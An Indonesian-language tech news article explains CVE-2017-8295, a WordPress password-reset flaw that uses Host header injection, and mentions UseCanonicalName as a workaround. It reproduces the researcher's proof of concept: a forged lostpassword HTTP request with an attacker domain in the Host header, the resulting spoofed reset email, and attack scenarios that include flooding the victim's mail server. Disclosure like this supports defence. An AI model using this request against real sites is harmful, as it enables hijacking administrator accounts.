Sebuah kerentanan dalam salah satu CMS populer di dunia, yakni WordPress, kali ini dipublikasikan oleh salah satu pakar keamanan. Kerentanan WordPress (CVE-2017-8295) ini juga ternyata mempengaruhi semua versi, termasuk versi terbarunya 4.7.4.
Kerentanan WordPress ini ditemukan oleh peneliti keamanan Polandia, Dawid Golunski dari Legal Hackers tahun lalu pada bulan Juli. Dan ia pun sebenarnya sudah melaporkan kerentanan ini ke tim keamanan WordPress.
Namun ternyata, tim yang berwenang tersebut memutuskan untuk mengabaikan masalah ini. Sehingga saat ini, jutaan situs web yang menggunakan CMS tersebut mempunyai resiko atas kerentanan ini.
Golunski adalah peneliti yang sama yang menemukan kerentanan kritis di library salah satu project open-source populer, yaitu PHPMailer.
Kerentanan ini terletak pada cara WordPress memproses permintaan reset kata sandi untuk pengguna.
Secara umum, ketika pengguna meminta untuk menyetel ulang kata sandinya melalui opsi lupa kata sandi, WordPress segera menghasilkan kode rahasia yang unik dan mengirimkannya ke ID email pengguna yang sudah tersimpan di database.
Kerentanan WordPress Apa Ini?
------[ wp-includes/pluggable.php ]------...
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
...
-----------------------------------------
Saat mengirim email ini, WordPress menggunakan variabel bernama SERVER_NAME agar mendapatkan nama host server untuk menetapkan nilai dari bidang From/Return-Path.
Di sini, “From” mengacu pada alamat email pengirim dan “Return-Path” mengacu pada alamat email di mana email ‘bounce-back’ harus dikirimkan jika terjadi kegagalan dalam pengiriman karena alasan tertentu.
Menurut Golunski, penyerang dapat mengirim permintaan HTTP palsu dengan hostname value standar yang telah ditetapkan (misalnya attacker-mxserver.com), saat memulai proses reset kata sandi untuk user admin yang ditargetkan.
Karena nama host dalam permintaan HTTP berbahaya adalah domain yang dikendalikan oleh penyerang, bidang From and Return-Path di email reset kata sandi akan dimodifikasi untuk menyertakan ID email yang terkait dengan domain penyerang, yaitu wordpress@attacker-mxserver.com, Bukan wordpress@victim-domain.com.
“Karena header HOST yang dimodifikasi, SERVER_NAME akan diset ke nama host pilihan penyerang. Akibatnya, WordPress akan melewati header dan body email berikut ke wrapper /usr/bin/sendmail,” kata Golunski.
Kamu harus mencatat bahwa email penyetelan ulang kata sandi akan dikirim ke alamat email korban saja, namun karena bidang From and Return-Path sekarang mengarah ke ID email penyerang, penyerang juga dapat menerima kode reset berdasarkan skenario berikut:
- Jika dalam kasus ini korban membalas email tersebut, email tersebut akan dikirim ke ID email penyerang (yang disebutkan dalam bidang ‘From’), yang berisi tautan setel ulang kata sandi dalam riwayat pesan.
- Jika, untuk beberapa kasus, server email korban sedang down, email reset password akan secara otomatis bounce-back ke alamat email yang disebutkan di bidang “Return-Path”, yang menunjuk ke kotak masuk penyerang.
- Dalam skenario lain, untuk secara paksa mengambil email bounce-back, penyerang dapat melakukan serangan DDoS terhadap server email korban atau mengirim sejumlah besar email, sehingga akun email korban tidak dapat lagi menerima email apapun.
Fakta penting lainnya tentang eksploitasi kerentanan ini, walaupun situs WordPress nya rentan, tidak semua server web mengizinkan penyerang untuk mengubah nama host melalui header SERVER_NAME loh, termasuk WordPress yang di host dalam share server manapun.
“Header server SERVER_NAME dapat dimanipulasi pada konfigurasi default server Web Apache (deployment WordPress yang paling umum) melalui header HOST dari permintaan HTTP,” kata Golunski.
Proof of Concept
- Discovered by: Dawid Golunski
- dawid[at]legalhackers.com
- https://legalhackers.com
- ExploitBox.io (@Exploit_Box)
- CVE-2017-8295
- Release date: 03.05.2017
- Last update: 04.05.2017
- Severity: Medium/High
-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------
WordPress akan memicu fungsi reset password untuk akun pengguna admin.
Karena header HOST yang dimodifikasi, SERVER_NAME akan disetel ke nama host pilihan penyerang. Akibatnya, WordPress akan pass header dan body email berikut ke wrapper /usr/bin/sendmail:
------[ resulting e-mail ]-----
Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Seseorang meminta agar password direset untuk akun berikut:
http://companyX-wp/wp/wordpress/
Username: admin
Jika ini salah, abaikan saja email ini dan tidak akan terjadi apa-apa.
Untuk mereset kata sandi Anda, kunjungi alamat berikut ini:
<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>
-------------------------------
Seperti yang bisa kita lihat, field Return-Path, From, dan Message-ID, semuanya di set menjadi domain penyerang.
Verifikasi header dapat dilakukan dengan mengganti /usr/sbin/sendmail dengan script bash dari:
#!/bin/bash
cat > /tmp/outgoing-email
Sampai artikel ini dipublish, belum ada patch resmi yang tersedia untuk kerentanan WordPress ini. Sebagai solusi sementara, untuk kamu yang juga menggunakan CMS WordPress, dapat mengaktifkan UseCanonicalName untuk menerapkan nilai SERVER_NAME statis.
0 Komentar
Penulisan markup di komentar